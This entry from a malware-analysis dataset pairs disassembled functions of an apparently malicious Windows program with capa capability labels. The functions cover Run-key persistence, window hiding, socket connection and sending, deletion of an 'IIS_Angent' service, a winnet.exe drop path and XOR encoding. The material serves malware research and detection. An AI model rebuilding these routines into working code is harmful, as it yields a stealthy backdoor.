joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ac0
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10f0
call fcn.0040bd40
push ebx
push esi
push edi
lea edi, [ebp - 0x10f0]
mov ecx, 0x43c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x1011], 0
push 0x463c78
lea eax, [ebp + 0x10]
push eax
call fcn.0040bc80
add esp, 8
mov dword [ebp - 0x1020], eax
cmp dword [ebp - 0x1020], 0
jne 0x401b1a
xor al, al
jmp 0x401cc9
mov dword [ebp - 0x102c], 0
mov eax, dword [ebp - 0x102c]
cmp eax, dword [ebp + 0x90]
jae 0x401cb8
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 0x102c]
cmp eax, 0x1000
jbe 0x401bfa
push 0
push 0
push 0x1000
lea eax, [ebp - 0x1008]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004011f4
test eax, eax
jne 0x401b95
mov eax, dword [ebp - 0x1020]
push eax
call fcn.0040b860
add esp, 4
mov esi, esp
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.0040b060
xor al, al
jmp 0x401cc9
mov eax, dword [ebp - 0x1020]
push eax
push 0x1000
push 1
lea ecx, [ebp - 0x1008]
push ecx
call fcn.0040b380
add esp, 0x10
cmp eax, 0x1000
je 0x401be4
mov eax, dword [ebp - 0x1020]
push eax
call fcn.0040b860
add esp, 4
mov esi, esp
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.0040b060
xor al, al
jmp 0x401cc9
mov eax, dword [ebp - 0x102c]
add eax, 0x1000
mov dword [ebp - 0x102c], eax
jmp 0x401cb3
push 0
push 0
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 0x102c]
push eax
lea ecx, [ebp - 0x1008]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004011f4
test eax, eax
jne 0x401c4a
mov eax, dword [ebp - 0x1020]
push eax
call fcn.0040b860
add esp, 4
mov esi, esp
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.0040b060
xor al, al
jmp 0x401cc9
mov eax, dword [ebp - 0x1020]
push eax
mov ecx, dword [ebp + 0x90]
sub ecx, dword [ebp - 0x102c]
push ecx
push 1
lea edx, [ebp - 0x1008]
push edx
call fcn.0040b380
add esp, 0x10
mov ecx, dword [ebp + 0x90]
sub ecx, dword [ebp - 0x102c]
cmp eax, ecx
je 0x401ca7
mov eax, dword [ebp - 0x1020]
push eax
call fcn.0040b860
add esp, 4
mov esi, esp
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.0040b060
xor al, al
jmp 0x401cc9
mov eax, dword [ebp + 0x90]
mov dword [ebp - 0x102c], eax
jmp 0x401b24
mov eax, dword [ebp - 0x1020]
push eax
call fcn.0040b860
add esp, 4
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x401cfc]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0x10f0
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret 0xbc
Function at 0x401d20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10f0
call fcn.0040bd40
push ebx
push esi
push edi
lea edi, [ebp - 0x10f0]
mov ecx, 0x43c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x463c7c
lea eax, [ebp + 0x10]
push eax
call fcn.0040bc80
add esp, 8
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0
jne 0x401d73
xor al, al
jmp 0x401e85
mov dword [ebp - 0x1020], 0
push 2
push 0
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040c8a0
add esp, 0xc
test eax, eax
je 0x401daa
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040b860
add esp, 4
xor al, al
jmp 0x401e85
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040c4e0
add esp, 4
mov dword [ebp - 0x1020], eax
cmp dword [ebp - 0x1020], 0xffffffff
jne 0x401dde
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040b860
add esp, 4
xor al, al
jmp 0x401e85
push 0
push 0
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040c8a0
add esp, 0xc
test eax, eax
je 0x401e08
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040b860
add esp, 4
xor al, al
jmp 0x401e85
mov eax, dword [ebp - 0x1020]
mov dword [ebp + 0x90], eax
mov eax, dword [ebp - 0x1014]
push eax
push 0x1000
push 1
lea ecx, [ebp - 0x1008]
push ecx
call fcn.0040c480
add esp, 0x10
mov dword [ebp - 0x102c], eax
cmp dword [ebp - 0x102c], 0
je 0x401e74
push 0
push 0
mov eax, dword [ebp - 0x102c]
push eax
lea ecx, [ebp - 0x1008]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401212
test eax, eax
jne 0x401e72
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040b860
add esp, 4
xor al, al
jmp 0x401e85
jmp 0x401e14
mov eax, dword [ebp - 0x1014]
push eax
call fcn.0040b860
add esp, 4
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x401eb8]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0x10f0
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret 0xbc

Function at 0x402310
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
lea edi, [ebp - 0x28c]
mov ecx, 0xa3
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
mov eax, 1
mov word [ebp - 0x18], ax
mov eax, 2
mov word [ebp - 0x24], ax
movzx eax, word [ebp - 0x18]
and eax, 0xff
movzx ecx, al
movzx edx, word [ebp - 0x24]
and edx, 0xff
movzx eax, dl
shl eax, 8
or ecx, eax
mov word [ebp - 0x30], cx
mov esi, esp
lea eax, [ebp - 0x1c8]
push eax
movzx ecx, word [ebp - 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40239b
xor eax, eax
jmp 0x4023a0
mov eax, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x4023d0]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0x28c
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret
Function at 0x402580
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
lea edi, [ebp - 0xdc]
mov ecx, 0x37
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x14], eax
mov eax, 2
mov word [ebp - 0x18], ax
mov esi, esp
movzx eax, word [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
cmp esi, esp
call fcn.0040b060
mov word [ebp - 0x16], ax
mov esi, esp
push 0x10
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp esi, esp
call fcn.0040b060
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
push edx
mov ecx, ebp
push eax
lea edx, [0x402634]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0xdc
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402650
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
lea edi, [ebp - 0x124]
mov ecx, 0x49
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0x14
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov esi, esp
lea eax, [ebp - 0x18]
push eax
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x4011c7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4026c6
or eax, 0xffffffff
jmp 0x4027f1
mov dword [ebp - 0x3c], 0xffffffff
cmp dword [ebp + 8], 0xffffffff
je 0x4027ce
mov eax, dword [ebp + 0x10]
add eax, 3
push eax
call fcn.0040cfd0
add esp, 4
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp + 0x10]
add eax, 3
push eax
push 0
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.0040b300
add esp, 0xc
movzx eax, byte [ebp + 0x14]
test eax, eax
jne 0x402754
cmp dword [ebp + 0xc], 0
je 0x40274b
cmp dword [ebp + 0x18], 1
jne 0x402727
mov eax, dword [ebp + 0x10]
add eax, 1
mov dword [ebp + 0x10], eax
mov esi, esp
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x3c], eax
jmp 0x402752
mov dword [ebp - 0x3c], 0
jmp 0x4027b6
mov eax, dword [ebp - 0x48]
mov cl, byte [ebp + 0x14]
mov byte [eax], cl
cmp dword [ebp + 0xc], 0
je 0x40277b
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x48]
add edx, 1
push edx
call fcn.0040cc60
add esp, 0xc
jmp 0x402782
mov dword [ebp + 0x10], 0
cmp dword [ebp + 0x18], 1
jne 0x402791
mov eax, dword [ebp + 0x10]
add eax, 1
mov dword [ebp + 0x10], eax
mov esi, esp
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
add ecx, 1
push ecx
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.0040cb70
add esp, 4
mov dword [ebp - 0x28], 1
cmp dword [ebp - 0x24], 0
jne 0x4027ee
mov esi, esp
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.0040b060
jmp 0x4027d5
mov eax, dword [ebp - 0x3c]
push edx
mov ecx, ebp
push eax
lea edx, [0x402824]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0x124
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret 0x14
Function at 0x402e90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0xd8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402ee5
xor al, al
jmp 0x402f33
mov eax, dword [ebp + 0x14]
push eax
call fcn.0040d100
add esp, 4
mov esi, esp
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402f1e
xor al, al
jmp 0x402f33
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.0040b060
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x402f58]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret

Function at 0x403240
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
lea edi, [ebp - 0xfc]
mov ecx, 0x3f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040d5d0
add esp, 8
test eax, eax
jne 0x403277
mov al, 1
jmp 0x403322
mov dword [ebp - 8], 0x1000
mov eax, dword [ebp - 8]
push eax
call fcn.0040d540
add esp, 4
mov dword [ebp - 0x14], eax
push 0x463c7c
mov eax, dword [ebp + 8]
push eax
call fcn.0040bc80
add esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4032c1
push 0x463ca4
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040bc80
add esp, 8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4032c5
xor al, al
jmp 0x403322
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 1
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040c480
add esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jle 0x4032fc
mov eax, dword [ebp - 0x38]
push eax
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040b380
add esp, 0x10
jmp 0x4032c5
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040b860
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
call fcn.0040b860
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call fcn.0040d190
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret
Function at 0x4035f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0x104
call fcn.0040d540
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov esi, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp esi, esp
call fcn.0040b060
test eax, eax
jne 0x403653
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.0040d190
add esp, 4
xor al, al
jmp 0x4036ed
push 9
call fcn.0040d540
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call fcn.00401136
add esp, 4
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x4036b0
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x4036b0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.0040d100
add esp, 4
mov esi, eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.0040d100
add esp, 4
lea ecx, [esi + eax + 0xa]
push ecx
call fcn.0040d540
add esp, 4
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.0040abc0
add esp, 8
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.0040abd0
add esp, 8
push str..exe
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call fcn.0040abd0
add esp, 8
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret
Function at 0x403790
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
lea edi, [ebp - 0xfc]
mov ecx, 0x3f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
call fcn.004011ae
add esp, 0xc
movzx eax, al
test eax, eax
jne 0x4037fe
call fcn.00401078
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
call fcn.004011bd
add esp, 0xc
xor al, al
jmp 0x403933
mov eax, dword [ebp - 0x20]
push eax
call fcn.004011ea
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x403828
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401041
add esp, 0xc
xor al, al
jmp 0x403933
cmp dword [0x479fa4], 0
je 0x4038c7
mov eax, dword [ebp - 0x20]
push eax
call fcn.0040d100
add esp, 4
mov esi, eax
mov ecx, dword [0x479fa4]
push ecx
call fcn.0040d100
add esp, 4
lea edx, [esi + eax + 0xa]
push edx
call fcn.0040d540
add esp, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
push eax
call fcn.0040d100
add esp, 4
mov esi, eax
mov ecx, dword [0x479fa4]
push ecx
call fcn.0040d100
add esp, 4
lea edx, [esi + eax + 0xa]
push edx
push 0
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040b300
add esp, 0xc
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.0040abc0
add esp, 8
push 0x463cec
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040abd0
add esp, 8
mov eax, dword [0x479fa4]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.0040abd0
add esp, 8
jmp 0x4038cd
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call fcn.004011e5
add esp, 0x10
mov byte [ebp - 0x35], al
movzx eax, byte [ebp - 0x35]
test eax, eax
jne 0x403906
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401041
add esp, 0xc
xor al, al
jmp 0x403933
mov eax, dword [ebp - 0x20]
push eax
push 1
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401041
add esp, 0xc
call fcn.00401078
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
call fcn.004011bd
add esp, 0xc
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x403958]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret
Function at 0x405870
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
lea edi, [ebp - 0x21c]
mov ecx, 0x87
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x140], 0x128
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x158], 0
cmp dword [ebp - 0x14c], 0
je 0x40591e
push 0
push 0
push 0x12c
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401212
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x158]
add eax, 1
mov dword [ebp - 0x158], eax
jmp 0x4058d5
mov dword [ebp - 0x18], 1
push 0
push 0
push 0x12c
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401212
mov esi, esp
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.0040b060
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x405984]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0x21c
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret
Function at 0x405b90
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
push edi
lea edi, [ebp - 0x36c]
mov ecx, 0xdb
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
mov esi, esp
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call fcn.0040b060
push str.winnet.exe
lea eax, [ebp - 0x124]
push eax
call fcn.0040abd0
add esp, 8
mov esi, esp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0xc], eax
mov esi, esp
push 0xf01ff
push str.IIS_Angent
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x405c40
mov esi, esp
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp esi, esp
call fcn.0040b060
jmp 0x405cd0
mov esi, esp
lea eax, [ebp - 0x290]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp esi, esp
call fcn.0040b060
test eax, eax
je 0x405cbd
cmp dword [ebp - 0x28c], 1
je 0x405cbd
mov esi, esp
lea eax, [ebp - 0x290]
push eax
push 1
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
cmp esi, esp
call fcn.0040b060
test eax, eax
je 0x405cbd
cmp dword [ebp - 0x28c], 3
jne 0x405cbd
mov esi, esp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.0040b060
mov esi, esp
lea eax, [ebp - 0x290]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp esi, esp
call fcn.0040b060
jmp 0x405c87
mov esi, esp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
cmp esi, esp
call fcn.0040b060
mov esi, esp
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp esi, esp
call fcn.0040b060
mov esi, esp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp esi, esp
call fcn.0040b060
mov esi, esp
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.0040b060
mov esi, esp
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.0040b060
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xffffffff
je 0x405d4c
mov esi, esp
mov eax, dword [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, esp
call fcn.0040b060
push edx
mov ecx, ebp
push eax
lea edx, [0x405d7c]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0x36c
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret
Function at 0x40b050
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x478b40]
jne 0x40b05a
repz ret
jmp fcn.00411620

Function at 0x40d600
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
xor eax, eax
cmp dword [ebp + 8], 0
setne al
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40d638
push str._path___NULL_
push 0
push 0x50
push str.f:dd_vctoolscrt_bld_self_x86crt_src_access.c
push 2
call fcn.00410480
add esp, 0x14
cmp eax, 1
jne 0x40d638
int3
cmp dword [ebp - 8], 0
jne 0x40d679
call fcn.00410120
mov dword [eax], 0
call fcn.004100f0
mov dword [eax], 0x16
push 0
push 0x50
push str.f:dd_vctoolscrt_bld_self_x86crt_src_access.c
push str._access_s
push str._path___NULL_
call fcn.0040fc40
add esp, 0x14
mov eax, 0x16
jmp 0x40d751
mov edx, dword [ebp + 0xc]
and edx, 0xfffffff9
neg edx
sbb edx, edx
add edx, 1
mov dword [ebp - 0xc], edx
jne 0x40d6a9
push str.__amode___6____0_
push 0
push 0x51
push str.f:dd_vctoolscrt_bld_self_x86crt_src_access.c
push 2
call fcn.00410480
add esp, 0x14
cmp eax, 1
jne 0x40d6a9
int3
cmp dword [ebp - 0xc], 0
jne 0x40d6e7
call fcn.00410120
mov dword [eax], 0
call fcn.004100f0
mov dword [eax], 0x16
push 0
push 0x51
push str.f:dd_vctoolscrt_bld_self_x86crt_src_access.c
push str._access_s
push str.__amode___6____0_
call fcn.0040fc40
add esp, 0x14
mov eax, 0x16
jmp 0x40d751
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40d712
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040fee0
add esp, 4
call fcn.004100f0
mov eax, dword [eax]
jmp 0x40d751
mov edx, dword [ebp - 4]
and edx, 0x10
je 0x40d71e
xor eax, eax
jmp 0x40d751
mov eax, dword [ebp - 4]
and eax, 1
je 0x40d74f
mov ecx, dword [ebp + 0xc]
and ecx, 2
je 0x40d74f
call fcn.00410120
mov dword [eax], 5
call fcn.004100f0
mov dword [eax], 0xd
call fcn.004100f0
mov eax, dword [eax]
jmp 0x40d751
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x43b649
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
dec edi
call fcn.0043b67c
mov edi, 0xce034b66
add edi, 0x4486424a
xor dword [ecx], esi
add eax, eax
inc ecx
mov edi, 0xc3c0813a
inc edi
sub edi, eax
cmp ecx, edx
jne fcn.0043b649
sub edi, 0xd7eab95f
inc eax
and eax, edi
ret